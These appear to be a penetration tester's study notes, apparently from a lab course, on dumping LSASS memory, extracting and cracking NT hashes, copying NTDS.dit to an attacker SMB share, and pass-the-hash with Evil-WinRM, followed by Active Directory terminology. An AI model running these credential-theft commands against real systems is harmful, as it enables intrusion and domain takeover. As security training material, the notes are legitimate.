**Creating lsass.dmp using PowerShell**

```powershell-session
rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full
```

* to copy files use
  * [Create SMB server Linux (HACK)](/cybersecurity/create-smb-server-linux-hack)

### Using Pypykatz to Extract Credentials

* [Pypykatz](/cybersecurity/pypykatz)


# Create SMB server Linux (HACK)

### Python Version

```
sudo python3 /usr/share/doc/python3-impacket/examples/smbserver.py -smb2support CompData /home/$(whoami)/Desktop/
```

### Create the SMB Server without a Username and Password

```shell-session
 sudo impacket-smbserver share -smb2support /tmp/smbshare
```

### Create the SMB Server with a Username and Password

```shell-session
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test
```

### samba

```
apt-get install samba
mkdir /tmp/smb
chmod 777 /tmp/smb
#Add to the end of /etc/samba/smb.conf this:
[public]
    comment = Samba on Ubuntu
    path = /tmp/smb
    read only = no
    browsable = yes
    guest ok = Yes
#Start samba
service smbd restart
```


# Pypykatz

* python implementation of Mimikatz
* Once we have the dump file on our attack host, we can use a powerful tool called [pypykatz](https://github.com/skelsec/pypykatz) to attempt to extract credentials from the .dmp file

**Running Pypykatz**

```shell-session
 pypykatz lsa minidump /home/peter/Documents/lsass.dmp 
```

```shell-session
INFO:root:Parsing file /home/peter/Documents/lsass.dmp
FILE: ======== /home/peter/Documents/lsass.dmp =======
== LogonSession ==
authentication_id 1354633 (14ab89)
session_id 2
username bob
domainname DESKTOP-33E7O54
logon_server WIN-6T0C3J2V6HP
logon_time 2021-12-14T18:14:25.514306+00:00
sid S-1-5-21-4019466498-1700476312-3544718034-1001
luid 1354633
	== MSV ==
		Username: bob
		Domain: DESKTOP-33E7O54
		LM: NA
		NT: 64f12cddaa88057e06a81b54e73b949b
		SHA1: cba4e545b7ec918129725154b29f055e4cd5aea8
		DPAPI: NA
	== WDIGEST [14ab89]==
		username bob
		domainname DESKTOP-33E7O54
		password None
		password (hex)
	== Kerberos ==
		Username: bob
		Domain: DESKTOP-33E7O54
	== WDIGEST [14ab89]==
		username bob
		domainname DESKTOP-33E7O54
		password None
		password (hex)
	== DPAPI [14ab89]==
		luid 1354633
		key_guid 3e1d1091-b792-45df-ab8e-c66af044d69b
		masterkey e8bc2faf77e7bd1891c0e49f0dea9d447a491107ef5b25b9929071f68db5b0d55bf05df5a474d9bd94d98be4b4ddb690e6d8307a86be6f81be0d554f195fba92
		sha1_masterkey 52e758b6120389898f7fae553ac8172b43221605

== LogonSession ==
authentication_id 1354581 (14ab55)
session_id 2
username bob
domainname DESKTOP-33E7O54
logon_server WIN-6T0C3J2V6HP
logon_time 2021-12-14T18:14:25.514306+00:00
sid S-1-5-21-4019466498-1700476312-3544718034-1001
luid 1354581
	== MSV ==
		Username: bob
		Domain: DESKTOP-33E7O54
		LM: NA
		NT: 64f12cddaa88057e06a81b54e73b949b
		SHA1: cba4e545b7ec918129725154b29f055e4cd5aea8
		DPAPI: NA
	== WDIGEST [14ab55]==
		username bob
		domainname DESKTOP-33E7O54
		password None
		password (hex)
	== Kerberos ==
		Username: bob
		Domain: DESKTOP-33E7O54
	== WDIGEST [14ab55]==
		username bob
		domainname DESKTOP-33E7O54
		password None
		password (hex)

== LogonSession ==
authentication_id 1343859 (148173)
session_id 2
username DWM-2
domainname Window Manager
logon_server 
logon_time 2021-12-14T18:14:25.248681+00:00
sid S-1-5-90-0-2
luid 1343859
	== WDIGEST [148173]==
		username WIN-6T0C3J2V6HP$
		domainname WORKGROUP
		password None
		password (hex)
	== WDIGEST [148173]==
		username WIN-6T0C3J2V6HP$
		domainname WORKGROUP
		password None
		password (hex)
```

```shell-session
sid S-1-5-21-4019466498-1700476312-3544718034-1001
luid 1354633
	== MSV ==
		Username: bob
		Domain: DESKTOP-33E7O54
		LM: NA
		NT: 64f12cddaa88057e06a81b54e73b949b
		SHA1: cba4e545b7ec918129725154b29f055e4cd5aea8
		DPAPI: NA
```

**MSV**

* [MSV](https://docs.microsoft.com/en-us/windows/win32/secauthn/msv1-0-authentication-package) is an authentication package in Windows that LSA calls on to validate logon attempts against the SAM database.

**WDIGEST**

```shell-session
== WDIGEST [14ab89]==
	username bob
	domainname DESKTOP-33E7O54
	password None
	password (hex)
```

```
Dataview (inline field '= WDIGEST [14ab89]==
	username bob
	domainname DESKTOP-33E7O54
	password None
	password (hex)'): Error: 
-- PARSING FAILED --------------------------------------------------

> 1 | = WDIGEST [14ab89]==
    | ^
  2 | 	username bob
  3 | 	domainname DESKTOP-33E7O54

Expected one of the following: 

'(', 'null', boolean, date, duration, file link, list ('[1, 2, 3]'), negated field, number, object ('{ a: 1, b: 2 }'), string, variable
```

* LSASS caches credentials used by WDIGEST in clear-text.
* Modern Windows operating systems have WDIGEST disabled by default
* &#x20;Additionally, it is essential to note that Microsoft released a security update for systems affected by this issue with WDIGEST.
  * We can study the details of that security update [here](https://msrc-blog.microsoft.com/2014/06/05/an-overview-of-kb2871997/).

**Kerberos**

```shell-session
	== Kerberos ==
		Username: bob
		Domain: DESKTOP-33E7O54
```

```
Dataview (inline field '= Kerberos ==
		Username: bob
		Domain: DESKTOP-33E7O54'): Error: 
-- PARSING FAILED --------------------------------------------------

> 1 | = Kerberos ==
    | ^
  2 | 		Username: bob
  3 | 		Domain: DESKTOP-33E7O54

Expected one of the following: 

'(', 'null', boolean, date, duration, file link, list ('[1, 2, 3]'), negated field, number, object ('{ a: 1, b: 2 }'), string, variable
```

* Kerberos is a network authentication protocol used by Active Directory in Windows Domain environments.
  * Domain user accounts are granted tickets upon authentication with Active Directory.
    * This ticket is used to allow the user to access shared resources on the network that they have been granted access to without needing to type their credentials each time.
* LSASS caches passwords, ekeys, tickets, and pins associated with Kerberos.
  * It is possible to extract these from LSASS process memory and use them to access other systems joined to the same domain.

**DPAPI**

```shell-session
== DPAPI [14ab89]==
		luid 1354633
		key_guid 3e1d1091-b792-45df-ab8e-c66af044d69b
		masterkey e8bc2faf77e7bd1891c0e49f0dea9d447a491107ef5b25b9929071f68db5b0d55bf05df5a474d9bd94d98be4b4ddb690e6d8307a86be6f81be0d554f195fba92
		sha1_masterkey 52e758b6120389898f7fae553ac8172b43221605
```

```
Dataview (inline field '= DPAPI [14ab89]==
		luid 1354633
		key_guid 3e1d1091-b792-45df-ab8e-c66af044d69b
		masterkey e8bc2faf77e7bd1891c0e49f0dea9d447a491107ef5b25b9929071f68db5b0d55bf05df5a474d9bd94d98be4b4ddb690e6d8307a86be6f81be0d554f195fba92
		sha1_masterkey 52e758b6120389898f7fae553ac8172b43221605'): Error: 
-- PARSING FAILED --------------------------------------------------

> 1 | = DPAPI [14ab89]==
    | ^
  2 | 		luid 1354633
  3 | 		key_guid 3e1d1091-b792-45df-ab8e-c66af044d69b

Expected one of the following: 

'(', 'null', boolean, date, duration, file link, list ('[1, 2, 3]'), negated field, number, object ('{ a: 1, b: 2 }'), string, variable
```

* The Data Protection Application Programming Interface or DPAPI is a set of APIs in Windows operating systems used to encrypt and decrypt DPAPI data blobs on a per-user basis for Windows OS features and various third-party applications.

| Applications                | Use of DPAPI                                                                                |
| --------------------------- | ------------------------------------------------------------------------------------------- |
| `Internet Explorer`         | Password form auto-completion data (username and password for saved sites).                 |
| `Google Chrome`             | Password form auto-completion data (username and password for saved sites).                 |
| `Outlook`                   | Passwords for email accounts.                                                               |
| `Remote Desktop Connection` | Saved credentials for connections to remote machines.                                       |
| `Credential Manager`        | Saved credentials for accessing shared resources, joining Wireless networks, VPNs and more. |

**Cracking the NT Hash with Hashcat**

* #### Cracking the NT Hash with Hashcat

  ```
  sudo hashcat -m 1000 64f12cddaa88057e06a81b54e73b949b /usr/share/wordlists/rockyou.txt
  ```


# Attacking Active Directory & NTDS.dit

* Once a Windows system is joined to a domain, it will `no longer default to referencing the SAM database to validate logon requests`.
  * This does not mean the SAM database can no longer be used.
  * to log on using a local account in the SAM database can still do so by
    * specifying the `hostname` of the device proceeded by the `Username` (Example: `WS01/nameofuser`)
    * or with direct access to the device then typing `./` at the logon UI in the `Username` field.

**Launching the Attack with CrackMapExec**

* [CrackMapExec](/cybersecurity/crackmapexec)

```shell-session
crackmapexec smb 10.129.201.57 -u bwilliamson -p /usr/share/wordlists/fasttrack.txt
```

* if the admins configured an account lockout policy, this attack could lock out the account that we are targeting
* At the time of this note (January 2022), an account lockout policy is not enforced by default with the default group policies that apply to a Windows domain, meaning it is possible that we will come across environments vulnerable to this exact attack we are practicing.

### Capturing NTDS.dit

* `NT Directory Services` (`NTDS`) is the directory service used with AD to find & organize network resources.
  * the `NTDS.dit` file is stored at `%systemroot%/ntds` on the domain controllers in a [forest](https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/plan/using-the-organizational-domain-forest-model). The `.dit` stands for [directory information tree](https://docs.oracle.com/cd/E19901-01/817-7607/dit.html).
  * This is the primary database file associated with AD and stores all domain usernames, password hashes, and other critical schema information

[Evil-WinRM](/cybersecurity/evil-winrm)

**Checking Local Group Membership**

```shell-session
net localgroup
```

```shell-session
Aliases for \\DC01

-------------------------------------------------------------------------------
*Access Control Assistance Operators
*Account Operators
*Administrators
*Allowed RODC Password Replication Group
*Backup Operators
*Cert Publishers
*Certificate Service DCOM Access
*Cryptographic Operators
*Denied RODC Password Replication Group
*Distributed COM Users
*DnsAdmins
*Event Log Readers
*Guests
*Hyper-V Administrators
*IIS_IUSRS
*Incoming Forest Trust Builders
*Network Configuration Operators
*Performance Log Users
*Performance Monitor Users
*Pre-Windows 2000 Compatible Access
*Print Operators
*RAS and IAS Servers
*RDS Endpoint Servers
*RDS Management Servers
*RDS Remote Access Servers
*Remote Desktop Users
*Remote Management Users
*Replicator
*Server Operators
*Storage Replica Administrators
*Terminal Server License Servers
*Users
*Windows Authorization Access Group
The command completed successfully.
```

**Checking User Account Privileges including Domain**

```shell-session
net user bwilliamson
```

```shell-session
User name                    bwilliamson
Full Name                    Ben Williamson
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            1/13/2022 12:48:58 PM
Password expires             Never
Password changeable          1/14/2022 12:48:58 PM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   1/14/2022 2:07:49 PM

Logon hours allowed          All

Local Group Memberships
Global Group memberships     *Domain Users         *Domain Admins
The command completed successfully.
```

* This account has both Administrators and Domain Administrator rights which means we can do just about anything we want, including making a copy of the NTDS.dit file.

**Creating Shadow Copy of C:**

* When all the components support Volume Shadow Copy (VSS), you can use them to back up your application data without taking the applications offline
* We can use vssadmin to create a Volume Shadow Copy (VSS) of the C: drive or whatever volume the admin chose when initially installing AD.
  * It is very likely that NTDS will be stored on C: as that is the default location selected at install, but it is possible to change the location.

```shell-session
 vssadmin CREATE SHADOW /For=C:
```

```shell-session
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2013 Microsoft Corp.

Successfully created shadow copy for 'C:\'
    Shadow Copy ID: {186d5979-2f2b-4afe-8101-9f1111e4cb1a}
    Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2
```

**Copying NTDS.dit from the VSS**

```shell-session
cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit
```

* [Create SMB server Linux (HACK)](/cybersecurity/create-smb-server-linux-hack)

```shell-session
cmd.exe /c move C:\NTDS\NTDS.dit \\10.10.15.30\CompData 
```

### Crack the NT hash with hashcat

```
sudo hashcat -m 1000 64f12cddaa88057e06a81b54e73b949b /usr/share/wordlists/rockyou.txt
Copy
```

* What if we are unsuccessful in cracking a hash?
* use [Evil-WinRM](/cybersecurity/evil-winrm#pass-the-hash)

### Pass-the-Hash Considerations

```
evil-winrm -i 10.129.201.57  -u  Administrator -H "64f12cddaa88057e06a81b54e73b949b"
```


# Evil-WinRM

* Tool used for \[\[WinRM Attacks|WinRM]]

### Installing Evil-WinRM

```shell-session
sudo gem install evil-winrm
```

### Evil-WinRM Usage

```shell-session
evil-winrm -i <target-IP> -u <username> -p <password>
```

```shell-session
evil-winrm -i 10.129.42.197 -u user -p password
```

### Pass-the-Hash

**Pass-the-Hash with Evil-WinRM Example**

```shell-session
evil-winrm -i 10.129.201.57  -u  Administrator -H "64f12cddaa88057e06a81b54e73b949b"
```


# WinRM Attacks

* Windows Remote Management (WinRM) is the Microsoft implementation of the network protocol Web Services Management Protocol (WS-Management).
* network protocol based on XML web services using the Simple Object Access Protocol (SOAP) used for remote management of Windows systems

### Attack

* [CrackMapExec](/cybersecurity/crackmapexec)
* [Evil-WinRM](/cybersecurity/evil-winrm)


# Active Directory Terminology

### Object

* An object can be defined as ANY resource present within an Active Directory environment such as OUs, printers, users, domain controllers, etc

### Attributes

* Every object in Active Directory has an associated set of attributes used to define characteristics of the given object.
* A computer object contains attributes such as the hostname and DNS name
* All attributes in AD have an associated LDAP name that can be used when performing LDAP queries, such as `displayName` for `Full Name` and `given name` for `First Name`.

### Schema

* The Active Directory schema is essentially the blueprint of any enterprise environment
* &#x20;For example, users in AD belong to the class "user," and computer objects to "computer,"
* When an object is created from a class
  * called instantiation
    * an object created from a specific class is called an instance of that class.
  * For example, if we take the computer RDS01.
    * This computer object is an instance of the "computer" class in Active Directory.

### Domain

* A domain is a logical group of objects such as computers, users, OUs, groups
  * think of each domain as a different city within a state or country
* Domains can operate entirely independently of one another or be connected via trust relationships.

### Forest

* A forest is a collection of Active Directory domains.
* It is the topmost container and contains all of the AD objects introduced below, including but not limited to domains, users, groups, computers, and Group Policy objects.
  * A forest can contain one or multiple domains and be thought of as a state in the US or a country within the EU.
* Each forest operates independently but may have various trust relationships with other forests.

### Tree

* Let's say we have two trees in an AD forest: `inlanefreight.local` and `ilfreight.local`.
  * A child domain of the first would be `corp.inlanefreight.local` while a child domain of the second could be `corp.ilfreight.local`.

### Container

* Container objects hold other objects and have a defined place in the directory subtree hierarchy.

### Leaf

* Leaf objects do not contain other objects and are found at the end of the subtree hierarchy.

### Global Unique Identifier (GUID)

* GUID value is unique across the enterprise, similar to a MAC address.
* The GUID is stored in the `ObjectGUID` attribute.
* Searching in Active Directory by GUID value is probably the most accurate and reliable way to find the exact object you are looking for, especially if the global catalog may contain similar matches for an object name.

### Security principals

* Security principals are anything that the operating system can authenticate, including users, computer accounts, or even threads/processes that run in the context of a user or computer account
* In AD, security principles are domain objects that can manage access to other resources within the domain.
* We can also have local user accounts and security groups used to control access to resources on only that specific computer.
* These are not managed by AD but rather by the Security Accounts Manager (SAM).

### Security Identifier (SID)

* A security identifier, or SID is used as a unique identifier for a security principal or security group
* Every account, group, or process has its own unique SID, which, in an AD environment, is issued by the domain controller and stored in a secure database
* A SID can only be used once
* When a user logs in
  * the system creates an access token for them which contains the user's SID, the rights they have been granted, and the SIDs for any groups that the user is a member of.
  * This token is used to check rights whenever the user performs an action on the computer
* There are also [well-known SIDs](https://ldapwiki.com/wiki/Wiki.jsp?page=Well-known%20Security%20Identifiers) that are used to identify generic users and groups. These are the same across all operating systems. An example is the Everyone group.

### Distinguished Name (DN)

* A [Distinguished Name (DN)](https://docs.microsoft.com/en-us/previous-versions/windows/desktop/ldap/distinguished-names) describes the full path to an object in AD (such as `cn=bjones, ou=IT, ou=Employees, dc=inlanefreight, dc=local`).
  * &#x20;In this example, the user `bjones` works in the IT department of the company Inlanefreight, and his account is created in an Organizational Unit (OU) that holds accounts for company employees.
  * The Common Name (CN) `bjones` is just one way the user object could be searched for or accessed within the domain.

### Relative Distinguished Name (RDN)

* A [Relative Distinguished Name (RDN)](https://docs.microsoft.com/en-us/windows/win32/ad/object-names-and-identities) is a single component of the Distinguished Name that identifies the object as unique from other objects at the current level in the naming hierarchy.
  * In our example, `bjones` is the Relative Distinguished Name of the object.
* AD does not allow two objects with the same name under the same parent container,
  * but there can be two objects with the same RDNs that are still unique in the domain because they have different DNs
  * For example,
  * the object `cn=bjones,dc=dev,dc=inlanefreight,dc=local`&#x20;
    * would be recognized as different from&#x20;
      * `cn=bjones,dc=inlanefreight,dc=local`. !\[\[Pasted image 20240702235218.png]]

### sAMAccountName

* The sAMAccountName is the user's logon name. Here it would just be bjones. It must be a unique value and 20 or fewer characters.

### userPrincipalName

* The userPrincipalName attribute is another way to identify users in AD. This attribute consists of a prefix (the user account name) and a suffix
  * (the domain name) in the format of <bjones@inlanefreight.local>.
    * This attribute is not mandatory.

### FSMO Roles

* In the early days of AD, if you had multiple DCs in an environment, they would fight over which DC gets to make changes, and sometimes changes would not be made properly.
  * Microsoft then implemented "last writer wins," which could introduce its own problems if the last change breaks things
  * They then introduced a model in which a single "master" DC could apply changes to the domain while the others merely fulfilled authentication requests.
  * This was a flawed design because if the master DC went down, no changes could be made to the environment until it was restored
  * To resolve this single point of failure model, Microsoft separated the various responsibilities that a DC can have into [Flexible Single Master Operation (FSMO)](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/fsmo-roles) roles.
  * These give Domain Controllers (DC) the ability to continue authenticating users and granting permissions without interruption (authorization and authentication).
  * There are five FSMO roles:&#x20;
    * `Schema Master`&#x20;
    * &#x20;`Domain Naming Master` (one of each per forest)
    * `Relative ID (RID) Master` (one per domain)
    * &#x20;`Primary Domain Controller (PDC) Emulator` (one per domain)
    * `Infrastructure Master` (one per domain)
  * All five roles are assigned to the first DC in the forest root domain in a new AD forest.
  * Each time a new domain is added to a forest,
    * only the RID Master, PDC Emulator, and Infrastructure Master roles are assigned to the new domain.

### Global Catalog

* A global catalog (GC) is a domain controller that stores copies of ALL objects in an Active Directory forest.
* The GC stores a full copy of all objects in the current domain and a partial copy of objects that belong to other domains in the forest.
* Standard domain controllers hold a complete replica of objects belonging to its domain but not those of different domains in the forest.
* The GC allows both users and applications to find information about any objects in ANY domain in the forest.
* GC is a feature that is enabled on a domain controller and performs the following functions:
  * Authentication (provided authorization for all groups that a user account belongs to, which is included when an access token is generated)
  * Object search (making the directory structure within a forest transparent, allowing a search to be carried out across all domains in a forest by providing just one attribute about an object.)

### Read-Only Domain Controller (RODC)

* A Read-Only Domain Controller (RODC) has a read-only Active Directory database
* No AD account passwords are cached on an RODC (other than the RODC computer account & RODC KRBTGT passwords.)
* No changes are pushed out via an RODC's AD database, SYSVOL, or DNS. RODCs also include a read-only DNS server, allow for administrator role separation, reduce replication traffic in the environment, and prevent SYSVOL modifications from being replicated to other DCs.

### Replication

* Replication happens in AD when AD objects are updated and transferred from one Domain Controller to another.
* Whenever a DC is added, connection objects are created to manage replication between them.
* These connections are made by the Knowledge Consistency Checker (KCC) service, which is present on all DCs.
* Replication ensures that changes are synchronized with all other DCs in a forest, helping to create a backup in case one domain controller fails.

### Service Principal Name (SPN)

* A Service Principal Name (SPN) uniquely identifies a service instance.
* They are used by Kerberos authentication to associate an instance of a service with a logon account, allowing a client application to request the service to authenticate an account without needing to know the account name.

### Group Policy Object (GPO)

* [Group Policy Objects (GPOs)](https://docs.microsoft.com/en-us/previous-versions/windows/desktop/policy/group-policy-objects) are virtual collections of policy settings. Each GPO has a unique GUID.
* A GPO can contain local file system settings or Active Directory settings. GPO settings can be applied to both user and computer objects.
* They can be applied to all users and computers within the domain or defined more granularly at the OU level.

### Access Control List (ACL)

* Each [Access Control Entry (ACE)](https://docs.microsoft.com/en-us/windows/win32/secauthz/access-control-entries) in an ACL identifies a trustee (user account, group account, or logon session) and lists the access rights that are allowed, denied, or audited for the given trustee.

### Discretionary Access Control List (DACL)

* DACLs define which security principles are granted or denied access to an object; it contains a list of ACEs.
* When a process tries to access a securable object, the system checks the ACEs in the object's DACL to determine whether or not to grant access.
* If an object does NOT have a DACL, then the system will grant full access to everyone, but if the DACL has no ACE entries, the system will deny all access attempts.
* ACEs in the DACL are checked in sequence until a match is found that allows the requested rights or until access is denied.

### System Access Control Lists (SACL)

* Allows for administrators to log access attempts that are made to secured objects.
* ACEs specify the types of access attempts that cause the system to generate a record in the security event log.

### Fully Qualified Domain Name (FQDN)

* `DC01.INLANEFREIGHT.LOCAL`.
* full domain name

### Tombstone

* A tombstone is a container object in AD that holds deleted AD objects.
* &#x20;When an object is deleted from AD, the object remains for a set period of time known as the `Tombstone Lifetime,` and the `isDeleted` attribute is set to `TRUE`
* Once an object exceeds the `Tombstone Lifetime`, it will be entirely removed.
* Microsoft recommends a tombstone lifetime of 180 days to increase the usefulness of backups, but this value may differ across environments.
* Depending on the DC operating system version, this value will default to 60 or 180 days.
* If an object is deleted in a domain that does not have an AD Recycle Bin, it will become a tombstone object.
* When this happens, the object is stripped of most of its attributes and placed in the `Deleted Objects` container for the duration of the `tombstoneLifetime`.
* It can be recovered, but any attributes that were lost can no longer be recovered

### AD Recycle Bin

* The [AD Recycle Bin](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/the-ad-recycle-bin-understanding-implementing-best-practices-and/ba-p/396944) was first introduced in Windows Server 2008 R2 to facilitate the recovery of deleted AD objects.
* This made it easier for sysadmins to restore objects, avoiding the need to restore from backups, restarting Active Directory Domain Services (AD DS), or rebooting a Domain Controller.
* When the AD Recycle Bin is enabled, any deleted objects are preserved for a period of time, facilitating restoration if needed.
* Sysadmins can set how long an object remains in a deleted, recoverable state. If this is not specified, the object will be restorable for a default value of 60 days.
* The biggest advantage of using the AD Recycle Bin is that most of a deleted object's attributes are preserved, which makes it far easier to fully restore a deleted object to its previous state.

### SYSVOL

* The [SYSVOL](https://social.technet.microsoft.com/wiki/contents/articles/8548.active-directory-sysvol-and-netlogon.aspx) folder, or share, stores copies of public files in the domain such as system policies, Group Policy settings, logon/logoff scripts, and often contains other types of scripts that are executed to perform various tasks in the AD environment.
* The contents of the SYSVOL folder are replicated to all DCs within the environment using File Replication Services (FRS).
* You can read more about the SYSVOL structure [here](https://networkencyclopedia.com/sysvol-share/#Components-and-Structure).

### AdminSDHolder

* The [AdminSDHolder](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory) object is used to manage ACLs for members of built-in groups in AD marked as privileged.
* It acts as a container that holds the Security Descriptor applied to members of protected groups.
* The SDProp (SD Propagator) process runs on a schedule on the PDC Emulator Domain Controller.
* When this process runs, it checks members of protected groups to ensure that the correct ACL is applied to them. It runs every hour by default.
* For example,
  * suppose an attacker is able to create a malicious ACL entry to grant a user certain rights over a member of the Domain Admins group.
  * In that case, unless they modify other settings in AD,
    * these rights will be removed (and they will lose any persistence they were hoping to achieve)
      * when the SDProp process runs on the set interval.

### dsHeuristics

* The [dsHeuristics](https://docs.microsoft.com/en-us/windows/win32/adschema/a-dsheuristics) attribute is a string value set on the Directory Service object used to define multiple forest-wide configuration settings.
* One of these settings is to exclude built-in groups from the [Protected Groups](https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/plan/security-best-practices/appendix-c--protected-accounts-and-groups-in-active-directory) list.
* Groups in this list are protected from modification via the `AdminSDHolder` object.
* If a group is excluded via the `dsHeuristics` attribute, then any changes that affect it will not be reverted when the SDProp process runs.

### adminCount

* The [adminCount](https://docs.microsoft.com/en-us/windows/win32/adschema/a-admincount) attribute determines whether or not the SDProp process protects a user. If the value is set to `0` or not specified, the user is not protected.
* If the attribute value is set to `value`, the user is protected. Attackers will often look for accounts with the `adminCount` attribute set to `1` to target in an internal environment.
* These are often privileged accounts and may lead to further access or full domain compromise.

### Active Directory Users and Computers (ADUC)

* ADUC is a GUI console commonly used for managing users, groups, computers, and contacts in AD.
* Changes made in ADUC can be done via PowerShell as well.

### ADSI Edit

* ADSI Edit is a GUI tool used to manage objects in AD.
* It provides access to far more than is available in ADUC and can be used to set or delete any attribute available on an object, add, remove, and move objects as well.
* It is a powerful tool that allows a user to access AD at a much deeper level. Great care should be taken when using this tool, as changes here could cause major problems in AD.

### sIDHistory

* [This](https://docs.microsoft.com/en-us/defender-for-identity/cas-isp-unsecure-sid-history-attribute) attribute holds any SIDs that an object was assigned previously. It is usually used in migrations so a user can maintain the same level of access when migrated from one domain to another.
* This attribute can potentially be abused if set insecurely, allowing an attacker to gain prior elevated access that an account had before a migration if SID Filtering (or removing SIDs from another domain from a user's access token that could be used for elevated access) is not enabled.

### NTDS.DIT

* The NTDS.DIT file can be considered the heart of Active Directory.
* It is stored on a Domain Controller at `C:\Windows\NTDS\` and is a database that stores AD data such as information about user and group objects, group membership, and, most important to attackers and penetration testers, the password hashes for all users in the domain.
* Once full domain compromise is reached, an attacker can retrieve this file, extract the hashes, and either use them to perform a pass-the-hash attack or crack them offline using a tool such as Hashcat to access additional resources in the domain.
* If the setting [Store password with reversible encryption](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/store-passwords-using-reversible-encryption) is enabled, then the NTDS.DIT will also store the cleartext passwords for all users created or who changed their password after this policy was set.
* While rare, some organizations may enable this setting if they use applications or protocols that need to use a user's existing password (and not Kerberos) for authentication.

### MSBROWSE

* MSBROWSE is a Microsoft networking protocol that was used in early versions of Windows-based local area networks (LANs) to provide browsing services.
* It was used to maintain a list of resources, such as shared printers and files, that were available on the network, and to allow users to easily browse and access these resources.
* In older version of Windows we could use `nbtstat -A ip-address` to search for the Master Browser.
* If we see MSBROWSE it means that's the Master Browser.
* Aditionally we could use `nltest` utility to query a Windows Master Browser for the names of the Domain Controllers.
* Today, MSBROWSE is largely obsolete and is no longer in widespread use.
* Modern Windows-based LANs use the Server Message Block (SMB) protocol for file and printer sharing, and the Common Internet File System (CIFS) protocol for browsing services.

## References

* <https://www.youtube.com/watch?v=VXxH4n684HE\\&list=WL\\&index=1\\&pp=gAQBiAQB>
* <https://academy.hackthebox.com/module/74/section/1347>


# Active Directory Objects

### AD Objects

<figure><img src="/files/HAsuqBdf1oSe9gJPNkhd" alt=""><figcaption></figcaption></figure>

### Users

* These are the users within the organization's AD environment.
* Users are considered `leaf objects`, which means that they cannot contain any other objects within them
* Another example of a leaf object is a mailbox in Microsoft Exchange
* &#x20;A user object is considered a security principal and has a security identifier (SID) and a global unique identifier (GUID).
* User objects have many possible [attributes](http://www.kouti.com/tables/userattributes.htm), such as their display name, last login time, date of last password change, email address, account description, manager, address, and more.
* Depending on how a particular Active Directory environment is set up, there can be over 800 possible user attributes when accounting for ALL possible attributes as detailed [here](https://www.easy365manager.com/how-to-get-all-active-directory-user-object-attributes/).
* This example goes far beyond what is typically populated for a standard user in most environments but shows Active Directory's sheer size and complexity.
* They are a crucial target for attackers since gaining access to even a low privileged user can grant access to many objects and resources and allow for detailed enumeration of the entire domain (or forest).

### Contacts

* A contact object is usually used to represent an external user and contains informational attributes such as first name, last name, email address
* They are `leaf objects` and are NOT security principals (securable objects), so they don't have a SID, only a GUID.
* An example would be a contact card for a third-party vendor or a customer

### Printers

* A printer object points to a printer accessible within the AD network.
* Like a contact, a printer is a `leaf object` and not a security principal, so it only has a GUID.
* Printers have attributes such as the printer's name, driver information, port number, etc.

### Computers

* A computer object is any computer joined to the AD network (workstation or server).
* Computers are `leaf objects` because they do not contain other objects.
* However, they are considered security principals and have a SID and a GUID.
* Like users, they are prime targets for attackers since full administrative access to a computer (as the all-powerful `NT AUTHORITY\SYSTEM` account) grants similar rights to a standard domain user and can be used to perform the majority of the enumeration tasks that a user account can (save for a few exceptions across domain trusts.)

### Shared Folders

* A shared folder object points to a shared folder on the specific computer where the folder resides.
* Shared folders can have stringent access control applied to them and can be either accessible to everyone (even those without a valid AD account), open to only authenticated users (which means anyone with even the lowest privileged user account OR a computer account (`NT AUTHORITY\SYSTEM`) could access it), or be locked down to only allow certain users/groups access.
* Anyone not explicitly allowed access will be denied from listing or reading its contents. Shared folders are NOT security principals and only have a GUID.
* A shared folder's attributes can include the name, location on the system, security access rights.

### Groups

* A group is considered a `container object` because it can contain other objects, including users, computers, and even other groups.
* A group IS regarded as a security principal and has a SID and a GUID. In AD, groups are a way to manage user permissions and access to other securable objects (both users and computers).
* Let's say we want to give 20 help desk users access to the Remote Management Users group on a jump host.
  * Instead of adding the users one by one, we could add the group, and the users would inherit the intended permissions via their membership in the group.
* In Active Directory, we commonly see what are called "[nested groups](https://docs.microsoft.com/en-us/windows/win32/ad/nesting-a-group-in-another-group)" (a group added as a member of another group), which can lead to a user(s) obtaining unintended rights.
  * Nested group membership is something we see and often leverage during penetration tests.

### Organizational Units (OUs)

* An organizational unit, or OU from here on out, is a container that systems administrators can use to store similar objects for ease of administration
  * &#x20;OUs are often used for administrative delegation of tasks without granting a user account full administrative rights.
  * example
    * we may have a top-level OU called Employees
      * then child OUs under it for the various departments such as
        * Marketing
        * HR
        * Help Desk
  * If an account were given the right to reset passwords over the top-level OU,
    * this user would have the right to reset passwords for all users in the company
    * However, if the OU structure were such that specific departments were child OUs of the Help Desk OU,
      * then any user placed in the Help Desk OU would have this right delegated to them if granted
  * Other tasks that may be delegated at the OU level include creating/deleting users, modifying group membership, managing Group Policy links, and performing password resets.

### Domain

* A domain is the structure of an AD network. Domains contain objects such as users and computers, which are organized into container objects: groups and OUs
* Every domain has its own separate database and sets of policies that can be applied to any and all objects within the domain.
* Some policies are set by default (and can be tweaked), such as the domain password policy. In contrast, others are created and applied based on the organization's need, such as blocking access to cmd.exe for all non-administrative users or mapping shared drives at log in.

### Domain Controllers

* Domain Controllers are essentially the brains of an AD network
* They handle authentication requests, verify users on the network, and control who can access the various resources in the domain
* All access requests are validated via the domain controller and privileged access requests are based on predetermined roles assigned to users.
* It also enforces security policies and stores information about every other object in the domain.

### Sites

* A site in AD is a set of computers across one or more subnets connected using high-speed links.
* They are used to make replication across domain controllers run efficiently.

### Built-in

* In AD, built-in is a container that holds [default groups](https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/active-directory-security-groups) in an AD domain.
* They are predefined when an AD domain is created.

### Foreign Security Principals

